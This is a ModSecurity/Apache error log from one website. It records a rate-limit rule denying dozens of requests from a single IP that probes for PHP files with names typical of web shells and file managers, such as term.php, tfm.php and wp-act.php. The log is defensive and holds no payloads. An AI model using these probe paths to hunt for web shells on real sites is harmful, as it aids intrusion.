[Wed Mar 25 09:27:18.370199 2026] [:error] [pid 892:tid 917] [client 158.158.72.125:59758] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8573.php"] [unique_id "acM59iT_G8WMU3T3yxpjVAAAANI"]
[Wed Mar 25 09:27:18.922019 2026] [:error] [pid 26321:tid 26363] [client 158.158.72.125:35085] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8573.php"] [unique_id "acM59vKO65qqGZCSPZrCywAAAhY"]
[Wed Mar 25 09:27:19.468350 2026] [:error] [pid 26449:tid 26457] [client 158.158.72.125:59738] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8573.php"] [unique_id "acM599pZ2T15NDqzAjHYXgAAAkQ"]
[Wed Mar 25 09:27:20.100850 2026] [:error] [pid 754:tid 787] [client 158.158.72.125:44313] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bgymj.php"] [unique_id "acM5-DisL3asPbA3CtjZhAAAABY"]
[Wed Mar 25 09:27:20.694545 2026] [:error] [pid 47989:tid 48001] [client 158.158.72.125:25765] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bgymj.php"] [unique_id "acM5-CWKdJMhIccROjnJzgAAAUo"]
[Wed Mar 25 09:27:21.323841 2026] [:error] [pid 47946:tid 47952] [client 158.158.72.125:53584] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bgymj.php"] [unique_id "acM5-TipQTqBMSeKYhc5XAAAAQQ"]
[Wed Mar 25 09:27:21.891776 2026] [:error] [pid 26321:tid 26365] [client 158.158.72.125:52979] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bgymj.php"] [unique_id "acM5-fKO65qqGZCSPZrCzwAAAhg"]
[Wed Mar 25 09:27:22.428662 2026] [:error] [pid 754:tid 778] [client 158.158.72.125:58528] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccs.php"] [unique_id "acM5-jisL3asPbA3CtjZiAAAAA0"]
[Wed Mar 25 09:27:22.985720 2026] [:error] [pid 26321:tid 26357] [client 158.158.72.125:22187] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccs.php"] [unique_id "acM5-vKO65qqGZCSPZrC0AAAAhA"]
[Wed Mar 25 09:27:23.513082 2026] [:error] [pid 47989:tid 47994] [client 158.158.72.125:64719] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccs.php"] [unique_id "acM5-yWKdJMhIccROjnJ0wAAAUM"]
[Wed Mar 25 09:27:24.018181 2026] [:error] [pid 26449:tid 26458] [client 158.158.72.125:6913] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccs.php"] [unique_id "acM5_NpZ2T15NDqzAjHYcwAAAkU"]
[Wed Mar 25 09:27:24.555875 2026] [:error] [pid 26269:tid 26290] [client 158.158.72.125:41903] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "acM5_En7e-ZQbaIs7qyHmgAAAY4"]
[Wed Mar 25 09:27:25.118316 2026] [:error] [pid 47946:tid 47957] [client 158.158.72.125:22178] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "acM5_TipQTqBMSeKYhc5XwAAAQk"]
[Wed Mar 25 09:27:25.654073 2026] [:error] [pid 47946:tid 47951] [client 158.158.72.125:52936] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "acM5_TipQTqBMSeKYhc5YQAAAQM"]
[Wed Mar 25 09:27:26.345799 2026] [:error] [pid 47989:tid 47992] [client 158.158.72.125:36961] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "acM5_iWKdJMhIccROjnJ2gAAAUE"]
[Wed Mar 25 09:27:26.957888 2026] [:error] [pid 756:tid 867] [client 158.158.72.125:36969] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws83.php"] [unique_id "acM5_jOaW6oylMIDBCTerwAAAI8"]
[Wed Mar 25 09:27:27.462128 2026] [:error] [pid 756:tid 869] [client 158.158.72.125:22199] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws83.php"] [unique_id "acM5_zOaW6oylMIDBCTeswAAAJE"]
[Wed Mar 25 09:27:27.986949 2026] [:error] [pid 754:tid 770] [client 158.158.72.125:46887] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws83.php"] [unique_id "acM5_zisL3asPbA3CtjZiwAAAAU"]
[Wed Mar 25 09:27:28.648514 2026] [:error] [pid 26449:tid 26472] [client 158.158.72.125:52958] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws83.php"] [unique_id "acM6ANpZ2T15NDqzAjHYfAAAAlM"]
[Wed Mar 25 09:27:29.216282 2026] [:error] [pid 754:tid 788] [client 158.158.72.125:6217] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "acM6ATisL3asPbA3CtjZjQAAABc"]
[Wed Mar 25 09:27:29.702930 2026] [:error] [pid 26321:tid 26343] [client 158.158.72.125:64732] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "acM6AfKO65qqGZCSPZrC0wAAAgQ"]
[Wed Mar 25 09:27:30.206158 2026] [:error] [pid 26321:tid 26355] [client 158.158.72.125:29034] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "acM6AvKO65qqGZCSPZrC1AAAAg4"]
[Wed Mar 25 09:27:30.751990 2026] [:error] [pid 26321:tid 26346] [client 158.158.72.125:6212] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "acM6AvKO65qqGZCSPZrC1QAAAgY"]
[Wed Mar 25 09:27:31.318113 2026] [:error] [pid 26449:tid 26462] [client 158.158.72.125:6225] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s.php"] [unique_id "acM6A9pZ2T15NDqzAjHYgAAAAkk"]
[Wed Mar 25 09:27:31.836299 2026] [:error] [pid 47946:tid 47956] [client 158.158.72.125:30973] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s.php"] [unique_id "acM6AzipQTqBMSeKYhc5ZQAAAQg"]
[Wed Mar 25 09:27:32.421685 2026] [:error] [pid 47946:tid 47961] [client 158.158.72.125:41877] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s.php"] [unique_id "acM6BDipQTqBMSeKYhc5aAAAAQ0"]
[Wed Mar 25 09:27:32.962978 2026] [:error] [pid 756:tid 859] [client 158.158.72.125:37610] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s.php"] [unique_id "acM6BDOaW6oylMIDBCTetwAAAIc"]
[Wed Mar 25 09:27:33.567623 2026] [:error] [pid 892:tid 911] [client 158.158.72.125:32852] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/term.php"] [unique_id "acM6BST_G8WMU3T3yxpjXgAAAM0"]
[Wed Mar 25 09:27:34.232555 2026] [:error] [pid 26269:tid 26281] [client 158.158.72.125:25845] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/term.php"] [unique_id "acM6Bkn7e-ZQbaIs7qyHoQAAAYU"]
[Wed Mar 25 09:27:34.900654 2026] [:error] [pid 26269:tid 26284] [client 158.158.72.125:65463] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/term.php"] [unique_id "acM6Bkn7e-ZQbaIs7qyHogAAAYg"]
[Wed Mar 25 09:27:35.468221 2026] [:error] [pid 754:tid 774] [client 158.158.72.125:32888] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/term.php"] [unique_id "acM6BzisL3asPbA3CtjZlAAAAAk"]
[Wed Mar 25 09:27:35.985480 2026] [:error] [pid 756:tid 870] [client 158.158.72.125:40751] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "acM6BzOaW6oylMIDBCTevgAAAJI"]
[Wed Mar 25 09:27:36.577534 2026] [:error] [pid 756:tid 876] [client 158.158.72.125:40711] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "acM6CDOaW6oylMIDBCTewAAAAJg"]
[Wed Mar 25 09:27:37.113344 2026] [:error] [pid 47989:tid 47998] [client 158.158.72.125:60910] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "acM6CSWKdJMhIccROjnJ5QAAAUc"]
[Wed Mar 25 09:27:37.769320 2026] [:error] [pid 754:tid 779] [client 158.158.72.125:50226] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "acM6CTisL3asPbA3CtjZmAAAAA4"]
[Wed Mar 25 09:27:38.405780 2026] [:error] [pid 26449:tid 26469] [client 158.158.72.125:22885] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bjfl.php"] [unique_id "acM6CtpZ2T15NDqzAjHYjwAAAlA"]
[Wed Mar 25 09:27:39.026965 2026] [:error] [pid 755:tid 844] [client 158.158.72.125:24736] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bjfl.php"] [unique_id "acM6C6S6bdaeEwgCGwpaHAAAAFU"]
[Wed Mar 25 09:27:39.555796 2026] [:error] [pid 26449:tid 26465] [client 158.158.72.125:22877] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bjfl.php"] [unique_id "acM6C9pZ2T15NDqzAjHYkgAAAkw"]
[Wed Mar 25 09:27:40.130696 2026] [:error] [pid 47946:tid 47967] [client 158.158.72.125:40712] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bjfl.php"] [unique_id "acM6DDipQTqBMSeKYhc5bAAAARM"]
[Wed Mar 25 09:27:40.652442 2026] [:error] [pid 892:tid 896] [client 158.158.72.125:58812] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "acM6DCT_G8WMU3T3yxpjaQAAAMI"]
[Wed Mar 25 09:27:41.218795 2026] [:error] [pid 755:tid 846] [client 158.158.72.125:56233] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "acM6DaS6bdaeEwgCGwpaHgAAAFc"]
[Wed Mar 25 09:27:41.777162 2026] [:error] [pid 47946:tid 47954] [client 158.158.72.125:38684] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "acM6DTipQTqBMSeKYhc5bgAAAQY"]
[Wed Mar 25 09:27:42.320526 2026] [:error] [pid 47946:tid 47950] [client 158.158.72.125:56878] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "acM6DjipQTqBMSeKYhc5cgAAAQI"]
[Wed Mar 25 09:27:42.806651 2026] [:error] [pid 47946:tid 47955] [client 158.158.72.125:51653] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/t.php"] [unique_id "acM6DjipQTqBMSeKYhc5dAAAAQc"]
[Wed Mar 25 09:27:43.371837 2026] [:error] [pid 26321:tid 26360] [client 158.158.72.125:27672] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/t.php"] [unique_id "acM6D_KO65qqGZCSPZrC1gAAAhM"]
[Wed Mar 25 09:27:43.915957 2026] [:error] [pid 47989:tid 47997] [client 158.158.72.125:50286] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/t.php"] [unique_id "acM6DyWKdJMhIccROjnJ7wAAAUY"]
[Wed Mar 25 09:27:44.431635 2026] [:error] [pid 26449:tid 26465] [client 158.158.72.125:50243] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/t.php"] [unique_id "acM6ENpZ2T15NDqzAjHYmwAAAkw"]
[Wed Mar 25 09:27:44.924956 2026] [:error] [pid 892:tid 902] [client 158.158.72.125:57602] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "acM6ECT_G8WMU3T3yxpjawAAAMU"]
[Wed Mar 25 09:27:45.425381 2026] [:error] [pid 892:tid 906] [client 158.158.72.125:43192] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "acM6EST_G8WMU3T3yxpjbAAAAMg"]
[Wed Mar 25 09:27:45.923671 2026] [:error] [pid 26449:tid 26455] [client 158.158.72.125:37545] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "acM6EdpZ2T15NDqzAjHYogAAAkI"]
[Wed Mar 25 09:28:36.209749 2026] [:error] [pid 26269:tid 26288] [client 158.158.72.125:61774] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tfm.php"] [unique_id "acM6REn7e-ZQbaIs7qyHzAAAAYw"]
[Wed Mar 25 09:28:36.759301 2026] [:error] [pid 47989:tid 47999] [client 158.158.72.125:22854] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tfm.php"] [unique_id "acM6RCWKdJMhIccROjnKXAAAAUg"]
[Wed Mar 25 09:28:37.328219 2026] [:error] [pid 756:tid 857] [client 158.158.72.125:33512] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tfm.php"] [unique_id "acM6RTOaW6oylMIDBCTfBgAAAIU"]
[Wed Mar 25 09:28:37.871506 2026] [:error] [pid 26321:tid 26364] [client 158.158.72.125:27676] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tfm.php"] [unique_id "acM6RfKO65qqGZCSPZrDHgAAAhc"]
[Wed Mar 25 09:28:38.429452 2026] [:error] [pid 26320:tid 26369] [client 158.158.72.125:38227] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-act.php"] [unique_id "acM6RjkUgS2mHAojGnmC1wAAAc0"]
[Wed Mar 25 09:28:39.014007 2026] [:error] [pid 26321:tid 26354] [client 158.158.72.125:27704] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-act.php"] [unique_id "acM6R_KO65qqGZCSPZrDJgAAAg0"]
[Wed Mar 25 09:28:39.566717 2026] [:error] [pid 47989:tid 48006] [client 158.158.72.125:58814] [client 158.158.72.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-act.php"] [unique_id "acM6RyWKdJMhIccROjnKaAAAAU8"]
